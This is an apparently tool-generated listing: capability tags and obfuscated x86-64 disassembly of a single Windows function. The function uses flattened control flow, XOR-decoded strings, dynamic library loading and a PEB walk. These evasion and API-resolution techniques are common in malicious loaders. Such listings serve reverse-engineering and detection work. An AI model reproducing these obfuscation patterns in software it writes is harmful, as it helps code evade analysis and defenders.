Function at 0x1400551b5
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using chaskey
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xe47cee4f
pushf
not eax
add eax, 0xebf3286c
xor eax, 0xf6b6d657
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xcbe196c2
xor eax, 0xbfc71f6e
rol eax, 0x96
popf
pushf
not eax
add eax, 0xb34f6238
xor eax, 0x9746199b
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xcd81558a
xor eax, 0xff4f1171
rol eax, 0xcb
popf
cmp eax, 0x63
jne 0x140055218
popf
pop rax
jmp 0x14005a05c
cmp eax, 0x48
jne 0x140055227
popf
pop rax
jmp 0x14005925e
cmp eax, 0x3f
jne 0x140055236
popf
pop rax
jmp 0x140058aae
cmp eax, 1
jne 0x140055245
popf
pop rax
jmp 0x1400559d9
cmp eax, 0x4a
jne 0x140055254
popf
pop rax
jmp 0x140059324
cmp eax, 0x1a
jne 0x140055263
popf
pop rax
jmp 0x140057304
cmp eax, 0x5d
jne 0x140055272
popf
pop rax
jmp 0x140059bd2
cmp eax, 0x6e
jne 0x140055281
popf
pop rax
jmp 0x14005a7e2
cmp eax, 0x40
jne 0x140055290
popf
pop rax
jmp 0x140058ae8
cmp eax, 0x74
jne 0x14005529f
popf
pop rax
jmp 0x14005ab6a
cmp eax, 0x2a
jne 0x1400552ae
popf
pop rax
jmp 0x140057ec6
cmp eax, 0x71
jne 0x1400552bd
popf
pop rax
jmp 0x14005a9be
cmp eax, 0x1c
jne 0x1400552cc
popf
pop rax
jmp 0x140057406
cmp eax, 0x2e
jne 0x1400552db
popf
pop rax
jmp 0x1400580b0
cmp eax, 0x4c
jne 0x1400552ea
popf
pop rax
jmp 0x1400593f6
cmp eax, 0x2b
jne 0x1400552f9
popf
pop rax
jmp 0x140057f46
cmp eax, 0x1b
jne 0x140055308
popf
pop rax
jmp 0x140057343
cmp eax, 0x6a
jne 0x140055317
popf
pop rax
jmp 0x14005a65d
cmp eax, 0x23
jne 0x140055326
popf
pop rax
jmp 0x140057966
cmp eax, 0x5b
jne 0x140055335
popf
pop rax
jmp 0x140059af0
cmp eax, 0x43
jne 0x140055344
popf
pop rax
jmp 0x140058deb
cmp eax, 0x13
jne 0x140055353
popf
pop rax
jmp 0x140056f77
cmp eax, 0x33
jne 0x140055362
popf
pop rax
jmp 0x14005839f
cmp eax, 0x24
jne 0x140055371
popf
pop rax
jmp 0x140057a31
cmp eax, 0x1e
jne 0x140055380
popf
pop rax
jmp 0x1400574dd
cmp eax, 0xc
jne 0x14005538f
popf
pop rax
jmp 0x140056a68
cmp eax, 0x26
jne 0x14005539e
popf
pop rax
jmp 0x140057d1c
cmp eax, 0x27
jne 0x1400553ad
popf
pop rax
jmp 0x140057d62
cmp eax, 0x30
jne 0x1400553bc
popf
pop rax
jmp 0x1400581c0
cmp eax, 0x10
jne 0x1400553cb
popf
pop rax
jmp 0x140056c99
cmp eax, 0x37
jne 0x1400553da
popf
pop rax
jmp 0x140058694
cmp eax, 9
jne 0x1400553e9
popf
pop rax
jmp 0x140056647
cmp eax, 0x39
jne 0x1400553f8
popf
pop rax
jmp 0x140058799
cmp eax, 0x16
jne 0x140055407
popf
pop rax
jmp 0x140057090
cmp eax, 0x3b
jne 0x140055416
popf
pop rax
jmp 0x1400588af
cmp eax, 0x4b
jne 0x140055425
popf
pop rax
jmp 0x140059389
cmp eax, 0x36
jne 0x140055434
popf
pop rax
jmp 0x1400585dc
cmp eax, 0x14
jne 0x140055443
popf
pop rax
jmp 0x140056fe4
cmp eax, 0x72
jne 0x140055452
popf
pop rax
jmp 0x14005aaa2
cmp eax, 0x3d
jne 0x140055461
popf
pop rax
jmp 0x1400589be
cmp eax, 0x69
jne 0x140055470
popf
pop rax
jmp 0x14005a604
cmp eax, 0x47
jne 0x14005547f
popf
pop rax
jmp 0x1400591f2
cmp eax, 0x51
jne 0x14005548e
popf
pop rax
jmp 0x140059708
cmp eax, 0x11
jne 0x14005549d
popf
pop rax
jmp 0x140056ec5
cmp eax, 0x35
jne 0x1400554ac
popf
pop rax
jmp 0x1400585a4
cmp eax, 0x68
jne 0x1400554bb
popf
pop rax
jmp 0x14005a41b
cmp eax, 0x12
jne 0x1400554ca
popf
pop rax
jmp 0x140056f0b
cmp eax, 0x6b
jne 0x1400554d9
popf
pop rax
jmp 0x14005a6ef
cmp eax, 0x38
jne 0x1400554e8
popf
pop rax
jmp 0x1400586e1
cmp eax, 0x64
jne 0x1400554f7
popf
pop rax
jmp 0x14005a1c4
cmp eax, 0x5c
jne 0x140055506
popf
pop rax
jmp 0x140059b80
cmp eax, 0x15
jne 0x140055515
popf
pop rax
jmp 0x140057023
cmp eax, 5
jne 0x140055524
popf
pop rax
jmp 0x1400561ac
cmp eax, 6
jne 0x140055533
popf
pop rax
jmp 0x140056200
cmp eax, 0x5a
jne 0x140055542
popf
pop rax
jmp 0x140059aa5
cmp eax, 0x49
jne 0x140055551
popf
pop rax
jmp 0x1400592ca
cmp eax, 0x1f
jne 0x140055560
popf
pop rax
jmp 0x140057642
cmp eax, 4
jne 0x14005556f
popf
pop rax
jmp 0x14005613b
cmp eax, 0x2f
jne 0x14005557e
popf
pop rax
jmp 0x140058181
cmp eax, 0x4d
jne 0x14005558d
popf
pop rax
jmp 0x1400594b8
cmp eax, 0x55
jne 0x14005559c
popf
pop rax
jmp 0x140059932
cmp eax, 0x45
jne 0x1400555ab
popf
pop rax
jmp 0x140058ece
cmp eax, 0x2c
jne 0x1400555ba
popf
pop rax
jmp 0x140057fbc
cmp eax, 0x5f
jne 0x1400555c9
popf
pop rax
jmp 0x140059ce6
cmp eax, 0x19
jne 0x1400555d8
popf
pop rax
jmp 0x140057259
cmp eax, 0x1d
jne 0x1400555e7
popf
pop rax
jmp 0x14005744f
cmp eax, 0x61
jne 0x1400555f6
popf
pop rax
jmp 0x140059d55
cmp eax, 0x53
jne 0x140055605
popf
pop rax
jmp 0x1400597e3
cmp eax, 0x4f
jne 0x140055614
popf
pop rax
jmp 0x1400595bf
cmp eax, 0x6c
jne 0x140055623
popf
pop rax
jmp 0x14005a736
cmp eax, 7
jne 0x140055632
popf
pop rax
jmp 0x14005633d
cmp eax, 0x20
jne 0x140055641
popf
pop rax
jmp 0x140057731
cmp eax, 0x56
jne 0x140055650
popf
pop rax
jmp 0x14005996a
cmp eax, 0x3c
jne 0x14005565f
popf
pop rax
jmp 0x1400588fc
cmp eax, 0xd
jne 0x14005566e
popf
pop rax
jmp 0x140056abe
cmp eax, 0xa
jne 0x14005567d
popf
pop rax
jmp 0x1400567ac
cmp eax, 0x18
jne 0x14005568c
popf
pop rax
jmp 0x1400571fb
cmp eax, 0x28
jne 0x14005569b
popf
pop rax
jmp 0x140057df4
cmp eax, 0x22
jne 0x1400556aa
popf
pop rax
jmp 0x140057915
cmp eax, 0x50
jne 0x1400556b9
popf
pop rax
jmp 0x1400596b6
cmp eax, 0x52
jne 0x1400556c8
popf
pop rax
jmp 0x140059782
cmp eax, 0x41
jne 0x1400556d7
popf
pop rax
jmp 0x140058c07
cmp eax, 0x67
jne 0x1400556e6
popf
pop rax
jmp 0x14005a336
cmp eax, 0x70
jne 0x1400556f5
popf
pop rax
jmp 0x14005a960
cmp eax, 0x29
jne 0x140055704
popf
pop rax
jmp 0x140057e61
cmp eax, 0x3e
jne 0x140055713
popf
pop rax
jmp 0x1400589f8
cmp eax, 0
jne 0x140055722
popf
pop rax
jmp 0x1400558f3
cmp eax, 0x4e
jne 0x140055731
popf
pop rax
jmp 0x140059574
cmp eax, 0x31
jne 0x140055740
popf
pop rax
jmp 0x140058282
cmp eax, 0x62
jne 0x14005574f
popf
pop rax
jmp 0x140059e0f
cmp eax, 0x5e
jne 0x14005575e
popf
pop rax
jmp 0x140059c53
cmp eax, 0x25
jne 0x14005576d
popf
pop rax
jmp 0x140057b03
cmp eax, 0xf
jne 0x14005577c
popf
pop rax
jmp 0x140056bda
cmp eax, 0x44
jne 0x14005578b
popf
pop rax
jmp 0x140058e3c
cmp eax, 0x75
jne 0x14005579a
popf
pop rax
jmp 0x14005abb5
cmp eax, 3
jne 0x1400557a9
popf
pop rax
jmp 0x1400560ea
cmp eax, 0x6f
jne 0x1400557b8
popf
pop rax
jmp 0x14005a891
cmp eax, 0x34
jne 0x1400557c7
popf
pop rax
jmp 0x14005843a
cmp eax, 0x54
jne 0x1400557d6
popf
pop rax
jmp 0x140059888
cmp eax, 0x59
jne 0x1400557e5
popf
pop rax
jmp 0x140059a6e
cmp eax, 0xb
jne 0x1400557f4
popf
pop rax
jmp 0x1400568c7
cmp eax, 0x66
jne 0x140055803
popf
pop rax
jmp 0x14005a26b
cmp eax, 0x2d
jne 0x140055812
popf
pop rax
jmp 0x140058065
cmp eax, 0xe
jne 0x140055821
popf
pop rax
jmp 0x140056b0f
cmp eax, 0x3a
jne 0x140055830
popf
pop rax
jmp 0x1400587e6
cmp eax, 2
jne 0x14005583f
popf
pop rax
jmp 0x140055a39
cmp eax, 0x65
jne 0x14005584e
popf
pop rax
jmp 0x14005a22d
cmp eax, 0x21
jne 0x14005585d
popf
pop rax
jmp 0x1400578ac
cmp eax, 0x73
jne 0x14005586c
popf
pop rax
jmp 0x14005aaf4
cmp eax, 0x17
jne 0x14005587b
popf
pop rax
jmp 0x14005713f
cmp eax, 0x58
jne 0x14005588a
popf
pop rax
jmp 0x1400599ee
cmp eax, 0x46
jne 0x140055899
popf
pop rax
jmp 0x140058fb3
cmp eax, 0x32
jne 0x1400558a8
popf
pop rax
jmp 0x1400582fa
cmp eax, 0x6d
jne 0x1400558b7
popf
pop rax
jmp 0x14005a788
cmp eax, 0x60
jne 0x1400558c6
popf
pop rax
jmp 0x140059d1d
cmp eax, 0x42
jne 0x1400558d5
popf
pop rax
jmp 0x140058d82
cmp eax, 8
jne 0x1400558e4
popf
pop rax
jmp 0x14005638a
cmp eax, 0x57
jne 0x1400558f3
popf
pop rax
jmp 0x1400599e2
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x508
call fcn.1400af5c3
mov rcx, qword [rsp + 0x530]
call fcn.14012ae68
mov dword [rsp + 0xa4], eax
mov ecx, dword [rsp + 0xa4]
call fcn.14012a9d9
cmp dword [rsp + 0xa4], 0
jne 0x140055980
push rax
pushf
mov eax, 0x958d5745
pushf
not eax
add eax, 0xd8d9e0ad
xor eax, 0xd0bdba10
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x8befdfde
xor eax, 0x86cfc1ce
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe9548e40
xor eax, 0x95481f86
rol eax, 0x63
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x5f2670fb
pushf
not eax
add eax, 0xdf1dd783
xor eax, 0xa2a0c585
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xd4b27048
xor eax, 0xd6b97a37
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xa5cd00f7
xor eax, 0xff13516a
rol eax, 0x44
popf
pushf
not eax
add eax, 0xe3e7b197
xor eax, 0xfa53ecbc
rol eax, 0xb2
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov ecx, dword [rsp + 0xa4]
call fcn.14012711d
mov qword [rsp + 0x2a0], rax
xor edx, edx
mov rcx, qword [rsp + 0x2a0]
jmp 0x140055a58
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x410], eax
mov eax, 0x844cbdd2
pushf
not eax
add eax, 0xc69d3376
xor eax, 0xdbfbdf36
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xf25670cf
xor eax, 0x876bcf68
rol eax, 0xb6
popf
imul rax, rax, 0
lea rcx, [0x1808e28aa]
pushf
sub rcx, 0x408b0ca2
popf
xor edx, edx
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x60], al
mov eax, 0xfd19ca69
pushf
not eax
add eax, 0xaeef48e7
xor eax, 0xfdc8d2e2
rol eax, 0x31
popf
pushf
not eax
add eax, 0xafdea876
xor eax, 0xdc73d2bd
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xfc090efa
xor eax, 0xe99502fd
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xba3378ee
xor eax, 0xcd5d7bc1
rol eax, 0xf2
popf
imul rax, rax, 1
lea rcx, [0x1ac1a5c26]
pushf
sub rcx, 0x6c17401e
popf
mov edx, 0x4260089c
pushf
not edx
add edx, 0x988101ae
xor edx, 0xed6d9c39
rol edx, 9
popf
pushf
not edx
add edx, 0x9cf1f827
xor edx, 0x82cbb574
rol edx, 0x51
popf
pushf
not edx
add edx, 0xc97e1c41
xor edx, 0xa00078bb
rol edx, 0xaa
popf
pushf
not edx
add edx, 0xbb80b5cc
xor edx, 0xf5f569c4
rol edx, 0x64
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x61], al
mov eax, 0x13485e2e
pushf
not eax
add eax, 0x999ac0d8
xor eax, 0xa5b9b0b5
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xc5aa31a6
xor eax, 0xe46f546c
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xb746b89a
xor eax, 0xb89c06db
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xfc175598
xor eax, 0x8764506f
rol eax, 0x8a
popf
imul rax, rax, 2
lea rcx, [0x1a04f31a1]
pushf
sub rcx, 0x604c1599
popf
mov edx, 0x29252d80
pushf
not edx
add edx, 0xacc1e8d4
xor edx, 0x942aee2d
rol edx, 0x5f
popf
pushf
not edx
add edx, 0x992b7d29
xor edx, 0x8f1ed465
rol edx, 0xd7
popf
pushf
not edx
add edx, 0xff8d5d9c
xor edx, 0xc87dbdee
rol edx, 0x5a
popf
pushf
not edx
add edx, 0x8e293f13
xor edx, 0xb56178e6
rol edx, 0x20
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x62], al
mov eax, 0xfffc213a
pushf
not eax
add eax, 0x9aa4d973
xor eax, 0xe4ceadf1
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbab4f7d9
xor eax, 0xe76a9ba9
rol eax, 0x10
popf
pushf
not eax
add eax, 0xa8ce04c0
xor eax, 0xeaca7527
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xee4d207e
xor eax, 0xeaa90641
rol eax, 0x96
popf
imul rax, rax, 3
lea rcx, [0x19d6a5861]
pushf
sub rcx, 0x5d673c59
popf
mov edx, 0x6b222b23
pushf
not edx
add edx, 0xe803747b
xor edx, 0xb553e713
rol edx, 0x4a
popf
pushf
not edx
add edx, 0xafa0ef2e
xor edx, 0xf140ed8b
rol edx, 0x6e
popf
pushf
not edx
add edx, 0x890e3e6f
xor edx, 0xbcab3903
rol edx, 0x7f
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x63], al
mov eax, 0xe9a0ec20
pushf
not eax
add eax, 0xa90eed8a
xor eax, 0xd90b1811
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe5236b0b
xor eax, 0xcb8a242c
rol eax, 0x19
popf
imul rax, rax, 4
lea rcx, [0x1880b044c]
pushf
sub rcx, 0x4807e844
popf
mov edx, 0x2e9d6d15
pushf
not edx
add edx, 0x81132322
xor edx, 0xa6ae6e66
rol edx, 0x1a
popf
pushf
not edx
add edx, 0xa7443de8
xor edx, 0xa117550c
rol edx, 0xab
popf
pushf
not edx
add edx, 0xcbf53e7d
xor edx, 0x934db31a
rol edx, 0x93
popf
pushf
not edx
add edx, 0x9a8e0baf
xor edx, 0xd4f56904
rol edx, 0x14
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x64], al
mov eax, 0x1f88464
pushf
not eax
add eax, 0xd7f731b1
xor eax, 0xad9bb372
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa6a1f330
xor eax, 0xded2e68d
rol eax, 0xc0
popf
imul rax, rax, 5
lea rcx, [0x1a6a727c9]
pushf
sub rcx, 0x66a40bc1
popf
mov edx, 0xda502cea
pushf
not edx
add edx, 0xc9e78ba6
xor edx, 0xc16ce9ec
rol edx, 0xa4
popf
pushf
not edx
add edx, 0x92f967b8
xor edx, 0xa33de645
rol edx, 0x36
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x65], al
mov eax, 0x4a772687
pushf
not eax
add eax, 0x86f38730
xor eax, 0xe6f95d31
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe5a96154
xor eax, 0xdfad3b1d
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xaea22e9a
xor eax, 0xace2e27d
rol eax, 0x85
popf
imul rax, rax, 6
lea rcx, [0x1ac72594c]
pushf
sub rcx, 0x6c6f3d44
popf
mov edx, 0xd5dc7965
pushf
not edx
add edx, 0xe98e42f5
xor edx, 0xdf4b4f50
rol edx, 0x20
popf
pushf
not edx
add edx, 0xc08df494
xor edx, 0xe2175666
rol edx, 0x93
popf
pushf
not edx
add edx, 0x90d66f93
xor edx, 0xf41217ab
rol edx, 0x57
popf
pushf
not edx
add edx, 0x8f6e945a
xor edx, 0xe24b685f
rol edx, 0xc3
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x66], al
mov eax, 0x587e4e3c
pushf
not eax
add eax, 0xed870a7a
xor eax, 0x899a727e
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf3d83aa8
xor eax, 0xcd39ea1c
rol eax, 0x62
popf
pushf
not eax
add eax, 0x895f0efe
xor eax, 0xd6f52a66
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x9f31b912
xor eax, 0xb77577cb
rol eax, 0xcb
popf
imul rax, rax, 7
lea rcx, [0x1be837bee]
pushf
sub rcx, 0x7e805fe6
popf
mov edx, 0xf64bf9bd
pushf
not edx
add edx, 0xc13ab657
xor edx, 0xc01e6496
rol edx, 0xaf
popf
pushf
not edx
add edx, 0xf957680e
xor edx, 0x88e53001
rol edx, 0x2c
popf
pushf
not edx
add edx, 0x8cc892d4
xor edx, 0xdf835279
rol edx, 0x4e
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x67], al
mov eax, 0xe55dd87e
pushf
not eax
add eax, 0xfa10401f
xor eax, 0xa8649c42
rol eax, 3
popf
pushf
not eax
add eax, 0xd066ac79
xor eax, 0xc9aecd63
rol eax, 0x83
popf
imul rax, rax, 8
lea rcx, [0x18b7a1ea9]
pushf
sub rcx, 0x4b7702a1
popf
mov edx, 0x6ee0d50d
pushf
not edx
add edx, 0x82fc276d
xor edx, 0xfd4fc436
rol edx, 0x91
popf
pushf
not edx
add edx, 0x9d8d8aae
xor edx, 0xb02ffd4d
rol edx, 0xf
popf
pushf
not edx
add edx, 0xd317f42d
xor edx, 0x9cd7c56b
rol edx, 0xc2
popf
pushf
not edx
add edx, 0xa19b69c1
xor edx, 0xef080fd8
rol edx, 0xfd
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x69]
lea rax, [rsp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 0xa668f9a5
pushf
not ecx
add ecx, 0xcc540e63
xor ecx, 0xa91cfe51
rol ecx, 2
popf
pushf
not ecx
add ecx, 0xcf511dec
xor ecx, 0x9b71723b
rol ecx, 0x1f
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
jmp 0x14005613b
mov eax, dword [rsp + 0x44]
jmp 0x1400560ef
inc eax
mov dword [rsp + 0x44], eax
push rax
pushf
mov eax, 0x36e57189
pushf
not eax
add eax, 0x8ce71714
xor eax, 0xa482f796
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xa55c272f
xor eax, 0xadf516b6
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf82a9954
xor eax, 0xfabc7c33
rol eax, 0x68
popf
jmp 0x140055209
movsxd rax, dword [rsp + 0x44]
cmp rax, 9
jae 0x140056179
push rax
pushf
mov eax, 0x89aec416
pushf
not eax
add eax, 0xfb91bbdd
xor eax, 0xef97d0a4
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x897e8d0b
xor eax, 0x9f2fc79e
rol eax, 0xbc
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x921fe287
pushf
not eax
add eax, 0xa9a9ece6
xor eax, 0xa437d43e
rol eax, 0x64
popf
pushf
not eax
add eax, 0xfb4a247f
xor eax, 0xbf6c3873
rol eax, 0xf8
popf
jmp 0x140055209
movsxd rax, dword [rsp + 0x44]
movsx eax, byte [rsp + rax + 0x60]
mov ecx, dword [rsp + 0x44]
add ecx, 0x13
xor eax, ecx
movsxd rcx, dword [rsp + 0x44]
mov byte [rsp + rcx + 0x60], al
jmp 0x1400560ea
mov eax, 0x49668785
pushf
not eax
add eax, 0xf22c9555
xor eax, 0x918e8394
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8f1b0d1b
xor eax, 0xe0dd20c6
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf4683032
xor eax, 0xfbe4f42c
rol eax, 0x70
popf
pushf
not eax
add eax, 0xad4243c8
xor eax, 0xa05a5a52
rol eax, 0x3e
popf
imul rax, rax, 9
mov byte [rsp + rax + 0x60], 0
lea rax, [rsp + 0x60]
mov rcx, rax
jmp 0x140056263
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x1400562e4
push rax
pushf
mov eax, 0x71005ed7
pushf
not eax
add eax, 0x9de2700f
xor eax, 0xa896cf6a
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xcebfa9d9
xor eax, 0xbaa02d46
rol eax, 1
popf
pushf
not eax
add eax, 0xf14e962c
xor eax, 0xd7ce3f13
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa3b843b7
xor eax, 0xbeb0e05f
rol eax, 0xd9
popf
jmp 0x140055209
push rax
pushf
mov eax, 0xf0573a31
pushf
not eax
add eax, 0xf80fc0fa
xor eax, 0xdf54faa8
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x96da2449
xor eax, 0xc50d0e12
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd037b898
xor eax, 0xba03d364
rol eax, 0x24
popf
pushf
not eax
add eax, 0xab3a9b53
xor eax, 0xd6f25a59
rol eax, 0x8b
popf
jmp 0x140055209
xor al, al
jmp 0x14005abd1
mov eax, 0x2f1afca0
pushf
not eax
add eax, 0xba5159a7
xor eax, 0xf4d2e432
rol eax, 0x67
popf
pushf
not eax
add eax, 0xea60b865
xor eax, 0xf7a204b3
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x9272295d
xor eax, 0xf0f4f8e4
rol eax, 8
popf
mov rcx, qword [rsp + 0x98]
mov word [rcx], ax
mov rcx, qword [rsp + 0x98]
call fcn.1400cec8a
mov qword [rsp + 0x80], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x170], eax
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x6bdb7af7
pushf
not ecx
add ecx, 0xdc657253
xor ecx, 0xa69a245b
rol ecx, 0x21
popf
pushf
not ecx
add ecx, 0x9278ee8a
xor ecx, 0xb792d096
rol ecx, 0x7c
popf
pushf
not ecx
add ecx, 0xb64370d0
xor ecx, 0xdc8483ca
rol ecx, 0x13
popf
pushf
not ecx
add ecx, 0x8bf9e920
xor ecx, 0xa7d97c02
rol ecx, 0xc2
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x4b6]
lea rcx, [0x1aee4fd43]
pushf
sub rcx, 0x6ee1dfd3
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x624da1c5
pushf
not ecx
add ecx, 0x995300a9
xor ecx, 0xfb078eb4
rol ecx, 3
popf
pushf
not ecx
add ecx, 0x80b043c6
xor ecx, 0xcafe0480
rol ecx, 0x30
popf
pushf
not ecx
add ecx, 0xa24ecee9
xor ecx, 0xddd6e481
rol ecx, 0x4e
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x4b6]
call fcn.1400a796b
mov qword [rsp + 0x2a8], rax
mov edx, dword [rsp + 0x170]
mov rcx, qword [rsp + 0x2a8]
call fcn.1400fd00d
mov qword [rsp + 0x358], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x174], eax
lea rax, [rsp + 0xa1]
mov rdi, rax
xor eax, eax
mov ecx, 0x3004fe7b
pushf
not ecx
add ecx, 0xf1a33cbb
xor ecx, 0xfe135ebe
rol ecx, 0xda
popf
pushf
not ecx
add ecx, 0xff4246af
xor ecx, 0xb1273271
rol ecx, 0x42
popf
pushf
not ecx
add ecx, 0xbb60c17c
xor ecx, 0x8dd03406
rol ecx, 0xce
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x48e]
lea rcx, [0x181ba5514]
pushf
sub rcx, 0x41b737d4
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x64bb7278
pushf
not ecx
add ecx, 0x89441771
xor ecx, 0x9713f36d
rol ecx, 0xd
popf
pushf
not ecx
add ecx, 0xef7badf9
xor ecx, 0x8488a785
rol ecx, 0x57
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x48e]
call fcn.1400ac624
mov qword [rsp + 0x2b0], rax
mov edx, dword [rsp + 0x174]
mov rcx, qword [rsp + 0x2b0]
call fcn.1400fd00d
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x140056614
push rax
pushf
mov eax, 0x8d70614e
pushf
not eax
add eax, 0x8ac78fa3
xor eax, 0xa63600f1
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xcb74a17d
xor eax, 0x8dc40a2a
rol eax, 0x64
popf
jmp 0x140055209
push rax
pushf
mov eax, 0x3b338171
pushf
not eax
add eax, 0x94cae6cc
xor eax, 0xf6ed1707
rol eax, 0x87
popf
pushf
not eax
add eax, 0xfab9a899
xor eax, 0xbd8079c3
rol eax, 0x42
popf
jmp 0x140055209
mov eax, dword [0x140040214]
mov dword [rsp + 0x178], eax
lea rax, [rsp + 0xa2]
mov rdi, rax
xor eax, eax
mov ecx, 0xe28bdceb
pushf
not ecx
add ecx, 0xa5f00c1a
xor ecx, 0x96bdfc77
rol ecx, 0x32
popf
pushf
not ecx
add ecx, 0xc3876918
xor ecx, 0x9d7fd081
rol ecx, 0xc8
popf
pushf
not ecx
add ecx, 0xfe93d543
xor ecx, 0xf3e926d0
rol ecx, 0x42
popf
pushf
not ecx
add ecx, 0xec38d8dc
xor ecx, 0x9f4ac3be
rol ecx, 0xb8
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x468]
lea rcx, [0x1b9b9531a]
pushf
sub rcx, 0x79b63502
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xafe86827
pushf
not ecx
add ecx, 0x91200960
xor ecx, 0xdc4ed3c5
rol ecx, 0x34
popf
pushf
not ecx
add ecx, 0xfebfd4e9
xor ecx, 0x93a372a1
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0xf4fb5fdb
xor ecx, 0xb07f1cf0
rol ecx, 0xf3
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x468]
call fcn.1400c6726
mov qword [rsp + 0x2b8], rax
mov edx, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x2b8]
call fcn.1400fd00d
mov qword [rsp + 0xc8], rax
push rax
pushf
mov eax, 0x6b1fd658
pushf
not eax
add eax, 0xd7e9bc81
xor eax, 0xce6b2f20
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf1280a32
xor eax, 0xb899394d
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x824625da
xor eax, 0xbef9c7ac
rol eax, 0x17
popf
pushf
not eax
add eax, 0xe88e1438
xor eax, 0xd90995e6
rol eax, 0x39
popf
jmp 0x140055209
mov rax, qword [rsp + 0xc8]
add rax, 0x3000
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0xc8]
add rax, 0x50000
mov qword [rsp + 0x78], rax
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x78]
call fcn.1400fbabc
movzx eax, al
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x98]
call fcn.1400a54ff
movzx eax, al
mov dword [rsp + 0x188], 0x3e8
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x1d8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x1d0], rax
push rax
pushf
mov eax, 0x4d30e953
pushf
not eax
add eax, 0xa9492057
xor eax, 0xba37512c
rol eax, 0x48
popf
pushf
not eax
add eax, 0xcd54cd4b
xor eax, 0xa4a932b2
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8c4ff6db
xor eax, 0x91b8c116
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xddb35caf
xor eax, 0x82bf3217
rol eax, 0x88
popf
jmp 0x140055209
mov rax, qword [rsp + 0x1d0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x108]
